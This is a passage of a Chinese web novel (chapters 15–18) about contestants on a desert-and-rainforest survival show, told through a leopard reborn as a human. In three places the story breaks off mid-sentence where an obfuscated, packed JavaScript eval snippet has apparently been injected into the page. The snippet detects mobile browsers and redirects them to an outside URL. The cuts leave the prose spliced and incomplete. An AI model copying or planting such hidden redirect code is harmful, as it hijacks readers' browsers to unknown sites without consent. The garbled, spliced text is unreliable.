千万别落到老子手里,不然,一定要将这高高在上的少爷脸朝地,狠狠踩进泥里。 “他真的会和我们合作?不至于吧。”项雄若有所思道。 “要是别的像黎星言这种级别的富二代,或许不会把刚才那番话放在眼里,但他不同。”沈泰冷笑一声,偏头,看向项雄。 “满脑子只有女人。” 项雄心中一颤,莫名闪过一丝心虚。 沈泰露出戏谑的笑,似乎话里有话,“恋爱脑,最容易被玩弄在股掌之间。” – 距离沙尘暴过去四个小时。 远处,黄沙依旧弥漫整片天空。 早上还依稀可见的希望绿洲,如海市蜃楼,成了久旱人的临终幻象。 “这可怎么办啊,方向找不到,车坏了,包里的压缩饼干啥的也吃完了,咱又不像那些开了外挂的选手,还自备干粮……” 有人随口戏言:“那你有本事去偷他们的物资呗,车也一起偷了。反正节目组又没规定不让抢别人东西。” 一时间,众人沉默了。 “叮。” 同一时间,所有手环连接弹出几条消息。 【《生存者游戏》节目组提醒您:山地地图关闭时间仅剩——47小时。验收时需保证越野车五人成队、摩托车一人成队,否则成绩无效。当前抵达集合点人数0/1001,自行退出人数249/1001,失联人数23/1001。请各位选手注意人身安全,量力而行。】 【《生存者游戏》通知一:从现在开始,节目组将随机空投场外热心观众为选手们精心挑选的礼包(30份)。因地形原因,所有物资需自行保管,直至雨林地图关闭,中途将不再发放物资。】 【《生存者游戏》通知二:率先抵达雨林集合点的选手,将获得额外奖励(暂时保密),祝各位选手好运。】 15. 第 15 章 “这就要发物资了?” 选手露出揶揄的笑,褶子里的尘土也折叠成线,“是不是监听到我们说要抢东西,怕大家自相残杀……” “发物资让我们顺利抵达,然后七百多人都可以拿奖金?节目组做慈善呢这么好心?” “额外奖励是什么?!奖金翻倍?隐藏特权?啊啊啊好心动!不过……我估计是没戏了,能顺利过这一关拿钱走人得了。” “重要的是车啊!车报废了,他们难道能空投一辆下来吗?” …… 繁杂讨论声中,昏黄的半空,一架小型直升机卷尘而来。 众人纷纷看向黎星言。 “都看我干嘛?”黎星言摸了摸鼻尖,有些心虚,但不多,“不是我派来的!” 噢。 还以为少爷终于受不了这野人生活了,腾云驾雾地来,灰头土脸地走。 突然,直升机舱门打开,里面抛出一个挂着小型降落伞的礼盒。 片刻后,正巧不巧,掉落在明娇娇的车顶。 “砰”得一声,似乎有些重量。 叶玄离得最近,顺手揽下。 明娇娇扬起笑,正要开口。 男人已兀自拆开礼盒。 “是一小桶95号汽油。” 沙尘暴余威未散,前路又陷入迷茫。 经刚才一番清点,共有数十台越野车被撞毁,剩下的过半车辆也燃油告急。 望着礼盒,其他人面面相觑,“这油……” 是雪中送炭,还是召祸引乱? 明娇娇扯了扯叶玄的衣袖,小声说:“我们先拿到的,就应该是我们的。” 叶玄没应声,但眉头微皱,显然不太认同“小女人的短视之言”。 他这次决策出错已落人口舌,想要挽回形象、获得场外观众口碑,至少在明面上也得做做样子。 这场比赛,有人为财,有人为名,有人为消遣,而他叶玄,财要名更要。 前期树立良好形象,到了后期再将对手一个个暗里除掉,而这事急不得。 更何况直升机仍在上空盘旋,说明物资并未发放完毕,后面的东西是好是坏谁又说得准。 将礼盒放到车前盖,叶玄一脸正气:“大家要是信得过我,可以将获得的物资统一清点后,按需分配,尽量做到利益最大化。” 好一个大公无私,给不少陷入焦虑的选手一剂定心丸——他们是同行的伙伴,有人会给自己兜底。 虚伪,装货。 黎星言冷哼一声。 也就能骗骗脑残,他的聪明媞媞肯定不会被这种人吸引。 一扫眼,只见云媞正一瞬不瞬地盯着叶玄,眼里似乎还闪着惊慕。 天塌了! – 又出现了,这个表情。 云媞用手肘碰了下班列,“看看明娇娇那个表情是什么意思?” 顺着她下巴扬起的方向,班列定睛细细观摩起来。 明娇娇正侧身站在叶玄旁边,蹙眉咬唇,频频瞥向对方,欲言又止。 似乎有些焦躁,又貌似带了点嫌恶,总归不像之前那样温顺无害。 “不太明白。”班列收回视线,继续将重心放在云媞脸上,“姐姐喜欢她?” 云媞一愣,“怎么得出的结论?” “你似乎总在看她,”班列歪头,若有所思道,“就像我总看你一样。” 当然,也像黎星言总在偷看姐姐一样。 不过班列不懂“看”与“看”之间的不同之处。他只知道,自己喜欢姐姐,就会每时每刻都将视线黏在她身上。 云媞摇头,“只是好奇。” 哎,人类感情实在太复杂。 正犹豫要不要将“原书剧情”告诉班列,他们俩人……呃两兽,一起参谋总比她自己瞎猜管用。 嘴还没张,四面八方的欢呼声将云媞的话塞回嗓子。 放眼望去,半空中,零零散散又掉下几个礼盒,反应过来的选手当即闻风而动,追着直升机行径方向奔抢而去。 人潮涌动,车辆轰鸣。 但班列始终注视着云媞的眼睛,他微弓下身,将耳朵凑得更近,“姐姐,你刚才想说什么?” 云媞拍开他的脸,“以后再跟你说,现在……” “跟我一起去抢装备!” * 直升机行进中,散落在地上的礼盒相隔数里。 每掉落一个,选手们便一窝蜂涌上。一转场,又再次扎堆。 “嗯……好像许愿池里抢食的锦鲤。” 贺君卓咂舌,心道:无良节目组和缺德网友们戏弄人是有一手的。 不过很显然,有一个人,绝对不是那群跟着饵料蛄蛹的锦鲤,而是许愿池里屹立不动的王八……啊不对,是“吞金兽”。 贺君卓低头看了眼手里的金饰。 这是刚才黎星言紧急避险时扔下的,他怕被人偷摸顺走,所以一直守在附近,雷电过去后就立马捡了回来。 虽然那位财大气粗的二代,似乎到现在都没有想起来,自己有什么东西忘拿了。 “言哥,”贺君卓走到黎星言身侧,将手里的饰品递过去,“你看看,有没有漏掉……” 人还没靠近,黎星言急忙偏头,手背在眼角晃动两下,随后才装作无事发生似的瞥向贺君卓,“怎么?” 只是,再怎么欲盖弥彰,小少爷红通通的眼角是骗不了人的。 “你、你哭了?”贺君卓震惊地舌头都捋不直了。 “闭嘴。” 黎星言不犯浑时,那张冷脸还是挺有威慑力的。 贺君卓猛点几下头,自觉将嘴巴抿成一条线。 捧着手心,往前推了推。 黎星言才看到那些被自己抛弃的物件,“不要了。” “不要了?!” 贺君卓虽然穷,不认识那些高奢品牌,但真金白银还是能分辨出来的。 上百万的东西说不要就不要。可恶啊,和你们这些挥金如土的奢靡有钱人拼了! “你想要?”黎星言淡淡看了他一眼,“送你了。” 贺君卓愣住。 默默将刚才那句心里话删掉。 好家伙,这哪里是挥金如土,这简直是劫富济贫的大善人、人间天使啊!统统亲了! 将大大小小的金疙瘩分放在外套内里各个口袋,贺君卓脸都要笑歪了。 “我知道了,言哥是有那个、那叫什么来着……情感洁癖!” 贺君卓埋头再检查一遍,确保每个宝贝都有个温暖的独立单间,同时嘴上也没闲着,“被你亲手抛下的东西绝不会再碰第二次,对吧?小说里都这样写的……” 说到这里,他啧了一声,拿腔拿调起来:“女人,你不过是个弃物,凭什么以为本少爷会回心转意?” 一抬头,冷白皮·黎少爷已经脸黑如锅底。 ! 卧槽!忘了言哥好像被云媞姐甩了! 贺君卓再次用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129838|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将嘴抿成一条线。 但到底没缝实,偶尔还是要漏点小风,“没逝的言哥,你这么帅又有钱,云媞姐最终会发现,野花还是没有家花香……” 按住狂跳的右眼皮,黎星言深吸一口气,极力让自己显得毫不在意。 “有件事,想让你帮我办一下。” 贺君卓拢紧衣物,收起嬉皮笑脸的态度,“拿钱办事嘛,言哥的规矩,我懂。您说!” “跟着云媞。” * 跟着云媞。 同样也是很多选手的心声。 也不知道这女孩怎么回事,跟长了千里眼似的,总能预测出礼盒掉落的方位。 别人还在抢地上的,她就盯上了在空中飘着的。 关键是直升机驾驶轨迹不明,风向速率不定,礼盒在惯性下左摇右摆,很多人即使有心提前锁定目标,礼盒最终掉落的地点也与自己估测的相隔甚远。 屡屡扑空后,大家发现了“最强舔包王”云媞,还有她那个新晋小跟“班”,早已装得盆满钵满。 “姐姐,好像拿不下了。” 班列从摞得人高的礼盒后面探出头,那双亮晶晶的眼睛显得他命更苦了。 有种被车夫呼来唤去的驴感。为了讨主子欢心,自己在脑袋前挂了跟胡萝卜,笨驴不语,只是一味地干活。 越努力越心酸。 云媞想了想,“要不把这些盒子拆了吧。” 根据她估算的礼盒发放间隔时长,足够将这些盒子全部拆完。 把盒子丢了,就能腾出更多空间继续舔包。 说干就干。 两人开始流水线式拆盒。 食物、矿泉水、药品、保温毯……留下! 95汽油、刮刮乐、望远镜、网友的贴心鼓励……丢掉! 云媞一边丢,后面选手一边捡。 很快,连成几条长长的贪吃蛇。从直升机工作人员的视角看去,甚是壮观。 所以也能理解,对很多人来说,“跟着云媞”好歹还有肉渣吃。 云媞对此没有太大反应,捡漏就捡漏吧,反正都是自己不要的。 花豹并不是贪婪吝啬的动物,吃不完又带不走的猎物也会及时抛下,默许食腐的草原“清道夫”鬣狗收拾残局。 当然,这些都是基于对自身捕猎能力的自信,豹豹有底气在下一次战场中,继续大获全胜。 “这是什么?” 空荡荡的大礼盒,里面只有一把小小的钥匙。 云媞捡起来,仔细端详。 这小物件有些眼熟,好像在明娇娇的车里见过。 “车钥匙?”班列随口一说。 「这不是一把普通的钥匙,而是节目组特制的□□,能启动所有越野车。风暴过后,近半数车辆瘫痪,缺少交通工具的选手很难在时限内通关。有人便动起歪心思——抢夺别人的车。节目组在这个时候故意放出这把钥匙,无非是想在火上浇一把油。」 像是触发了关键词提示,脑中自动弹出的原书剧情,让云媞短暂失神。 现在,决定这把火能不能烧起来、烧得旺不旺的关键,掌握在她的手上。 一种油然而生的使命感,驱使云媞攥紧掌心。 下一秒,她毫无犹豫将钥匙塞回礼盒。 偷瞄一眼身后嗷嗷待哺的“信徒们”,淡定一甩。 人类常说,放下助人情结,尊重他人命运。 作为豹豹,入乡随俗,总归是没错的。 16. 第 16 章 1、2、3、4…… 自愿将所得物资充公的,仅仅七人,加上叶玄自己搜寻到的,一共11个礼盒。 而这些物资中甚至还包括CP粉的留言: 【啊啊啊啊叶玄和明娇娇配我一脸!硬汉和娇软美人,玛丽苏我磕生嗑死!】 【请拽姐云媞速速开后宫!把一众小狗收入囊中!支持的快把我顶成精选留言,孩子想被空投!!!】 【我们媞姐就这么淡淡的、萌萌的、拽拽的把所有人踩在了脚下……】 几十条高赞留言汇总成册,薄薄一张纸倒显出一丝“人味”。 在这荒岛单机前行数日,有时差点忘了这只是档综艺,自己也并非茹毛饮血的真野人。 叶玄按了按眉心,将留言纸放回礼盒。 行吧,能算是物资。虽无用,但好歹也是“重返现代社会”的慰藉。 转头再看看云媞那边,15份物资。 实际上也都是她自己抢到的,但捡漏的那些选手愿意将物资归还她,也没有选择交给叶玄。 说明……他的威信在流失。 这不是什么好兆头。 而云媞同样在暗中观察。 两边都没有那把钥匙。 那就是……有人私藏起来了。 看来人类并没有想象中那么团结。 只是,不知道最终会落到谁的手上呢? – 沙尘暴后的午夜,暗淡无星,没有月光照拂,辽阔山地更显幽深。 为了省电省油,大多越野和摩托都没有开灯。 只有一辆车,依旧亮着一盏便携灯。 「“我叫叶玄。”高大男人收了枪,破损的衣袖露出刻满新旧伤疤的右臂,“这盏灯,送你。”他的手,宽大,炙热,令明娇娇感到了久违的温暖……因为童年的意外,明娇娇一直害怕黑暗。而异国初遇,男人递过来的那盏小灯,让她意识到,原来黑夜也并没有想象中可怕。」 “姐姐,在看什么?” 班列蹲到云媞旁边,顺着她的视线望过去。 又是那个女人。 班列有些嫉妒他们,总能分走姐姐的关注。明明他和姐姐才是这个世界上最亲的同类。 话到嘴边又突然咽了下去。 很奇怪,在做鬣狗时,他从来不会产生这种莫名的占有欲,只求能永远跟着花豹姐姐就好。可做了人,这些情绪却不受控制地暗自生发。 欲望,或许是人类与生俱来的劣根。 “嘘。” 云媞抬手示意他安静,随后指向车那边,“继续看。” 此时所有人都已熟睡。 草丛间,只有沙沙风声。 花豹和鬣狗都是夜行动物,即使夜黑如墨,也能清晰捕捉一丝风吹草动。 虽然变成人后,夜视能力大不如前,但基因里带的天赋还是远高常人。 蹲守没几分钟。 一道鬼鬼祟祟的黑影,沿着车身,潜到明娇娇那辆越野的驾驶座车门。 “咔哒。” 锁扣响起的瞬间,云媞和班列的耳朵同时微动,互看了一眼。 来了。 车内灯光忽明忽暗,人影晃动。 一声微不可查的呜咽后,汽车发动机响起。 有人被吵醒,但翻了个身又继续睡。 毕竟,选手们半夜开车跑路的事情并不少,大家已经见怪不怪了。 “要追吗?”望着扬尘而去的越野车,班列问。 云媞捡起掉落地面的手提便携灯,塞进衣服里。 按照原书剧情,看来现在已经到了男女主感情发展的第一个小高潮。 “恶人团”里最不起眼的小弟辉子,意外捡到钥匙,他心知自己随时都可能是最先被抛弃的那个,于是决定富贵险中求,抢了车,还能抱得美人归,以及美人带来的丰厚物资。 大不了逃离这里,开着车继续此前的流亡生活。 赌徒心理?云媞表示:好玩。 她朝班列挥挥手,当即翻身上车。 路过睡得正香的叶玄时,还伸腿踢了他一脚,“嘿,你老婆没了。” 就这?还特种兵呢,睡得跟个死猪一样。 * 越野车横冲直撞,在崎岖山路开得飞快,车身腾空,下坠,橡胶车轮在石子上磨出火星。 云媞和班列骑摩托,包抄两侧。 “救命!” 明娇娇看不清来的人是谁,急忙把头伸出车窗,哑着嗓子大喊。 疾风倒灌进嘴里,巨大的气压呛得她直咳嗽,眼泪瞬间夺眶而出。 毫无形象可言。 辉子拽起明娇娇的头发,往内扯,“给老子安静点!” 猛得打转方向盘,车尾甩向云媞。 云媞反应更快,擦着车门滑到前面,抬手向另一边的班列比了个手势。 下一秒,班列直直撞向驾驶侧,左视镜“砰”得一声巨响,挂着一条残存的线,在风中晃荡。 辉子心一惊,分了神。 再抬眼看向右视镜时,已经不见云媞的影了。 人呢?! “嘭!” 似乎有什么东西砸到了车顶。 辉子还没反应过来,车前挡风玻璃突然罩下一大块黑影。 那黑影扒开头发,挥挥手,露出一个灿烂的笑容,“嗨?” 是云媞!她倒挂在车顶的行李架上! 复杂的情绪涌上明娇娇心头。 她想过很多人,却没想到第一个来救她的,竟然是自己一直针对的云媞。 “啊!鬼啊!” 辉子惨叫一声,下意识猛踩刹车。 就这一瞬间,云媞翻身跳到车尾,顺着半开的后排车窗,像猫一样,格外灵巧地滑了进去。 啊…好柔软的座位。 早知道这么舒服,当时就选越野车好了。 豹豹嫉妒,豹豹不高兴。 可怜的辉子还没察觉后排已经坐了人,忙着点火、挂档、踩油门…… 一只手从后面横亘而出,用臂弯钳住他的脖颈。明明能感觉这并不是很粗壮的手臂,却依旧令他动弹不得。 “人还没坐稳就开车,”云媞皱眉,语重心长地教训,“没礼貌。” 明娇娇见状,迅速拉起手刹,拔了车钥匙,烫手山芋似的扔出窗外。 “滚出来!” 驾驶位车门被人从外拉开。 班列单手掐着辉子的脖子,毫不费力地拖下车,像扔死物一般,径直摔到地上。 虽然他知道姐姐不会受伤,但想到刚才的惊险一幕,还是怒不可遏。 人很脆皮,不比动物身,万一呢? 那边,免不了一顿胖揍。 这边,明娇娇望向云媞,相顾无言。 “你……” “你……” 两人同时开口,又再次沉默。 云媞有些心虚,英雄救美的桥段本该是叶玄的,她只是出于猫科动物都有的好奇心,才跟上来玩玩。 结果……玩得太高兴,哎嘛抢戏份了。 正要装死,鼻尖突然嗅到一丝血腥气,云媞陡然变了脸色,“你受伤了?” “没有啊……”明娇娇茫然眨眼。 “你流血了。”云媞笃定道,随后握住她的小臂四处检查起来。 很快锁定受伤区域,指尖触上对方裙摆,刚要掀起。 下一秒被慌乱压住,“没、没有受伤!是我那个来了。” 说这话时,明娇娇明显感觉下腹一阵暖流涌出,好死不死,偏偏这时候生理期到了。 “哪个来了?”云媞面色依旧严峻,不明白她在说什么。 在野外,血腥味会吸引来野兽虫豸,容易使自己陷入不利地位,明娇娇这般瘦弱,恐怕经受不住那些生物的攻击。 但这番冷脸反问,在明娇娇听来,似乎是明知故问、刻意刁难。 她小脸煞白,顿觉难堪,“就那个啊!” 见云媞眼神依旧迷惑,她羞恼地瞪了一眼,“你难道不是女人、没来过月经吗?” 嗯…… 猫科动物没有月经,准确来说,只有灵长类才有“每月出血”这一正常生理周期。 花豹、猎豹等猫科动物的生理期或许会充血,但并不会流出来。 明娇娇气得扭身,推开车门就要走。 云媞回过神,一把按住对方的肩膀,冷声道:“你衣服上有血。” 说罢,她脱下冲锋衣,不由分说地俯身,系到明娇娇腰间,“现在最好先别出去,血腥气会引来别的动物。” …… 明娇娇指尖一顿,默默关上车门。 她不敢再乱动,怕鲜血沾到座位上,只能难为情地垂头,攥紧腿上的冲锋衣。 “喏,你的。” 云媞拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129839|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起手边的一盏灯,递到她面前。 正是明娇娇被劫持前掉落的那盏。 不过摔太多次,现在已经不亮了。 “啪!” 云媞兀地拍了一下。 微弱的白光映在明娇娇脸上,那双泫然欲落的泪眸,像清晨起雾的湖面,闪着细碎的星子。 不愧是女主,该说不说,这小脸蛋真美。 云媞这样想的,也是这样说的。 听到突如其来的夸赞,明娇娇破涕为笑。 “这样也好看。”云媞一本正经地说。 有股淡淡的人机感。但很奇怪,并不会让人觉得敷衍或恭维。 冷却的身子渐渐回暖,明娇娇终于卸下一路的惊恐与防备。 她一把打掉面前这盏灯。 ? 娇纵女主这是又生气了? 可惜,豹豹可不会像男主那样纵容她。 面无表情地睨了明娇娇一眼,云媞开门正欲离开。 女孩突然扑进怀中。 “对不起云媞,之前是我不好,”明娇娇抬头,那双水涔涔的杏眼莫名透出一丝依恋,“今天……谢谢你。” 云媞怔忡一瞬,那只随时准备启动过肩摔的手,松了下来。 “哦,顺手的事。” – 车内。 没有开灯。 那盏疑似叶玄送的便携灯,也孤零零地横躺在地上。 按照人类情感,信物一般有着特殊意义。更别提是男频男主送给恋爱脑女主的信物。 就这么随手扔了,这对吗? 一股与原书人设相悖的怪异感再次浮现。 云媞扭头,一瞬不瞬盯着身侧的明娇娇,“听说那是叶玄送你的?不要了?” 对方明显愣了一下,脸上表情变了好几种,似乎在切换一种合适当下氛围的模式。 她大概没料到,云媞在不开灯的夜晚也能精准捕捉人的一举一动。 “可是它坏了,拿着也没用了……” 语气听上去很落寞。 但云媞看得分明,明娇娇的表情满不在乎,甚至有些鄙夷。 沉默半晌,云媞开口:“我之前看过一本小说,男主也送给女主一盏灯,即使坏了,女主还是一直珍藏……” 所有情节都为男主服务,所有人物都围绕男主运作,其他人只分为两种,“对男主有用的”与“对男主无用的”,包括女主。 女主的强烈爱意,也只是为了凸显男主的无限魅力。 “男人写的吧。” 囫囵听完,明娇娇轻笑,“一个灯而已,留着做传家宝吗?” 这个笑,比以往任何一面都要鲜活。 见云媞许久没说话,她转头,朝影影绰绰的虚空,眨了眨眼。 “视角,就代表绝对正义吗?” * “啥意思啊?” 一豹一狗蹲坐在石头上,面面相觑。 不懂。 太深奥了。 “所以,这个世界是一本小说,男主是叶玄,女主是明娇娇,姐姐是炮灰……” 班列挠头,“那我呢?” “没有你,”想到明娇娇那句话,云媞改口,“那个故事视角还没有转到你。” 班列“哦”了一声,恍然大悟,“因为姐姐出现了,所以,我在故事里也有了生命。” ……这样吗? “对了,”班列动了动耳朵,状似无意地瞟向不远处,“你还没说,黎星言是什么样的人?” 那里,脚步微顿,草木轻晃。 “养尊处优、不学无术、自不量力、嚣张跋扈……” 云媞背了一堆原书中描写黎星言的形容词,最后总结成一句话:“除了有副好皮囊和几个臭钱,什么都比不上叶玄的无能草包一个。” “那姐姐为什么还和他交往?” “交往?”云媞歪了歪头,不太理解这个词的意思,“有吗?” 哦,可能是指亲他的嘴吧。 “感觉很好玩。” 石砾松动,摩擦出窸窣细响。 似乎是有什么动物在仓惶逃窜。 云媞如有所感地侧目,并无一物。 她没有放在心上,接着说:“但目前看来,黎星言好像也不是那种人。” 至少,他并不算惹人厌恶。 可他是怎么发展成书里那样的呢…… 17. 第 17 章 辉子的事情败露,被“恶人团”打上叛徒标签,正好顺理成章地踢出局。 任谁也没有料到,最后补上空位的竟然是张静敏。 这个看起来老实本分的中年妇女,怎么会和这群恶徒沾上关系。 “或许是……做饭好吃?” 这里只有她随身携带着一口平底锅,奇奇怪怪。 不过,能来参加这个比赛的选手,一般也没有太正常的。 长夜燃烬,东方将白。 风暴余威殆尽,天色一片晴朗,远处的绿意再现。 叶玄独自大半夜去寻路,传回一个好消息:雨林离大部队所在的位置,大概三十公里不到。 可现在有个问题:近一半选手没有交通工具,另一半则油量告急。且不说雨林距离这里还有段路程,找到节目组说的“集合点”更是毫无头绪。 想要大部分人都能通关,需要那些提前到达集合点的选手们,再开车折返去接其他人。 但……傻子才会这么大度。 有车队当场撕破脸皮,踢掉队伍里的拖油瓶,拉上那些落单但此前表现不错的选手重组。 在趋利避害这点上,人类和动物倒异常相似。 焦灼、咒骂、惶恐…… 游戏还没结束,就有人被宣判了死刑。 看着眼前的闹剧,仿佛又回到了塞伦盖蒂。 同类相争、弱肉强食、驱逐与背叛,每日都在轮番上演。 独行,才是花豹在这场游戏中生存得更久的法则。 “姐姐?” 班列挥挥手,打断云媞的沉思,“走啦。” 骑上摩托没两米,路过明娇娇的车。 云媞本打算像往常一样相互视而不见。 谁知对方似乎掐准了时间,刚一靠近,就从车里伸出头,笑得明媚,“媞媞,早上好!” 还有贺君卓,上赶着过来套近乎。 甚至已经坐上“恶人团”副驾驶的张静敏,也笑着朝她点头致意。 一路上,动手的动手,吵架的吵架,但在云媞经过时,都自觉停下手头上的事,不约而同打起招呼:“嗨,媞姐!” 太自来熟了吧!!! 好吧,在人类的世界里,似乎很难独行。 云媞叹了口气,继续前行。 一扫眼,与某道炽热的视线撞上。 见她看过来,黎星言倏地挪开目光,继续手头上的动作。 好像很忙,但也不知道在忙什么。 折叠帐篷的地钉拔了半天也没拔出来。 摩托车低速前行,人与物都在缓缓后移。 等等…… 帐篷右后侧……怎么有条尾巴??? “刺啦——” 车轮骤停,在石子路上划出一道刺耳的噪音。 一颗毛茸茸的脑袋,从帐篷旁探了出来。 狼! 一只健康的成年郊狼,距离黎星言不到三米! 云媞不动声色伸手,解开绑在摩托车后座的背包。 狼似乎看出她的意图,突然朝黎星言扑过去。 “嘭!” 此起彼伏的尖叫中,背包精准砸到郊狼脑袋,连包带狼翻滚到一侧。 “走!” 云媞扯着黎星言的衣领,猛得甩到人多的地方。 郊狼反应也快,叼起帐篷旁边的黑色塑料袋扭头就跑。 路过无辜落单选手时,还顺嘴叼走了一两个包裹。 云媞想也没想,拔腿就追。 “啊啊啊啊媞姐不至于不至于!几个包裹而已,快回来啊!” “卧槽!媞姐您悠着点啊!我们不能没有你!!!” * 越往山脉南麓,植被越茂密,高耸的巨树遮天蔽日,直冲云霄。 空气湿咸,伴着泥土的腥香和树叶腐烂的气浪。 眼前,就是雨林最外层。 云媞浑然不觉。 眼里只有一个目标:夺回包裹。 郊狼体能耗尽,速度降下许多。 近在咫尺。 云媞飞身一扑,小腿用力蹬地,从郊狼脚边铲过。 伸手,抡臂,硬生生在狼口夺“食”。 “嗷呜~” 拖长压低的呜咽,让云媞浑身一僵。 这是动物撒娇耍宝的信号,甚至前不久,她还在那只受伤灰狼那儿听过。 云媞抬眸。 郊狼随即歪了歪头,呆呆地蹲坐在地上,有些委屈。 这种长得有些像狐狸的狼,在不展露攻击性时,总显得友善又纯良。 “所以……”云媞顿了下,“只是想和我玩儿?” 郊狼不语,只是一味地伸出前爪。 OK,fine。 云媞没好气地瘫坐在地。 玩心也太重了吧!跑三十公里不带喘气的,搁这儿拉练呢! 不过,野狼并非亲人的物种,更不会如此欠缺警惕性。 或许是云媞体内的“同类”气息,吸引了它们。 “看到我旁边那个彩色头的黑皮高个儿吗?”云媞比划一下,和郊狼打起商量,“他和你们族群的关系更近,下次记得都去找他玩。” 别光逮着她一个人薅啊。 郊狼眨巴眨巴眼,似乎在认真思考,随后喉咙咕噜一声。 不会说话,就当同意了。 捡起手边的包裹,云媞起身,才意识到眼前已换了一幅天地。 厚厚的落叶覆盖在地表,攀缘植物的根系扎进泥里,盘根错节。 各种奇异的鸟叫交织争鸣,显得这片土地越发神秘瑰丽。 目光所及之处,一片磅礴绿意。 花豹对环境的适应能力极强,草原、灌丛、湿地、荒漠……都能成为它们的栖息地。 但雨林,还是云媞头次见。 郊狼晃着尾巴,往丛林内走去。 走两步回头看眼云媞,停下。直到她跟上来,才接着慢悠悠往前走。 像在引路。 没多久,视野豁然开朗,大片空地形成包围圈。 一座高脚屋赫然矗立。 【《生存者游戏》节目组:恭喜!您已顺利抵达雨林集合点,请前往领取额外奖励,祝您再创佳绩。】 【《生存者游戏》通知一:距离山地地图关闭时间仅剩——20小时。当前抵达集合点人数1/1001,自行退出人数342/1001,失联人数29/1001。】 手环震动两下。 一成不变的触屏界面,多了一个符号。 云媞随手一点。 【《生存者游戏》提醒:您确定标记当前地点吗?点击确认,该地点将发送给其他手环拥有者。】 写的什么,唧唧歪歪。 文盲媞一向只看图标,不爱看字。 毫不犹豫点了最喜欢的草原绿。 【共享地点已发送。感谢您的慷慨,为其他选手找寻生的方向,贡献人间大爱。】 半行字还没看完,云媞径直按息屏幕。 啰嗦。 高脚屋联排坐落,雨林常年充沛的水汽渗进面板,散发出腐朽的木香。 一脚踩上去,吱呀直响,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊,你们来了。” 云媞迅速将最后一口烤肉塞进嘴里,“没有了,我刚吃完了。” 所有人皆是忍俊不禁。 明娇娇三步并作两步跑到云媞跟前,上下来回检查数遍,“没事吧?” 见她吃得满嘴流油,明娇娇心头一梗,“你吃的不会是……那头狼吧?” 云媞笑而不语,目光越过明娇娇,看向林间。 暗中观察的郊狼如有所感,狼躯一震,用前爪抹了把油嘴。 它回望云媞数秒,又瞟了眼“彩色头的黑皮高个儿”,最后夹着尾巴,疯狂逃窜。 班列收回视线,若有所思。 – 其他人陆续上楼。 黎星言磨磨蹭蹭落在人后。 “等等。” 云媞叫住他,指着挂在栏杆上的几个包裹,“我记得,那个黑色塑料袋是你的吧?” 话没说完,黎星言脸色骤变,几乎是飞扑过去拽下塑料袋,用力甩到丛中,“不、不要了。” “什么东西不要了?” 班列不知从哪儿窜出来,拾起袋子,掂了掂。 按压式的塑封袋,里面似乎装着固体物,有些重量。 见他就要打开,黎星言大喊一声:“死非主流!放下!!!” 18. 第 18 章 反应这么大? 这下,豹豹也好奇了。 “吃的吗?” 接过班列扔来的塑料袋,云媞在耳边晃荡两下,抢在黎星言之前打开。 固体,无色无味。 若是吃的,一向洁癖的黎少爷怎么会直接用塑料袋装,但若不是吃的,郊狼抢它做什么。 豹豹思索,豹豹得出结论。 “你偷吃小零食了。” 看黎星言倏然煞白的脸色,似乎有难言之隐,云媞了然,“我也要吃!” 她扬了扬下巴,问班列:“斑斑,你吃吗?” 班列还没来得及点头,一道雄浑的男高音喊道:“诶!言哥,那不你屎袋吗!” 住嘴!住嘴啊! 五雷轰顶般,黎星言头皮发麻、呆若木鸡。 显然,贺君卓还不知道发生了什么,疑惑傻笑:“今天这么抢手?” 果然是有钱能使鬼推磨啊,连高冷媞姐都主动握屎言和了。 贺君卓的声音比雨林里万种鸟叫加起来还高亢。 道道视线瞬间聚焦过来。 在众星捧月中活了快二十年,黎星言早已司空见惯的,就是他人的目光。 厚望的、敬仰的、恭维的、讨好的、畏惧的…… 但从没有那一刻,能比现在更能载入史册。 呃,载入……屎册。 他没有勇气去看云媞的反应,逃也似的狂奔上楼。 - “言哥,那什么……” 贺君卓缩在门旁,心虚地摸了摸鼻子,“我、我跟她们说了,是stair、stair!楼梯的意思……” 越说声音越小,最后又自觉把嘴抿成一条线。 他其实并不能理解,黎少爷为何反应这么大。 对他们来说,在这荒郊野岭,能用尿袋屎袋的那都是讲究人,更何况他还用了专业凝固剂,整得跟星级大厨在厕所撒调料似的,屎无前例的优雅。 小贺不太会安慰人,但很会抖机灵:“没事的言哥,只要你是一坨屎,就没人敢踩在你头上,鲜花还可以插在你头上!” …… 黎星言幽怨抬眸。 “但我怕狗吃我。” 额好的。 看他一副心如死灰、油盐不进的样子,贺狗决定,还是不要继续在作死边缘试探了。 换个开心的话题吧。 “诶,昨晚你和云媞姐怎么说的?看她今天又是帮你单挑野狼,又主动帮你丢……”贺君卓自动消音,“你们是不是和好了?” 说到这里,贺君卓很是自豪。 黎星言让跟着云媞,他也不辱使命。昨晚惊险闹剧过后,是他第一时间找到了云媞,跑去和黎星言通风报信…… 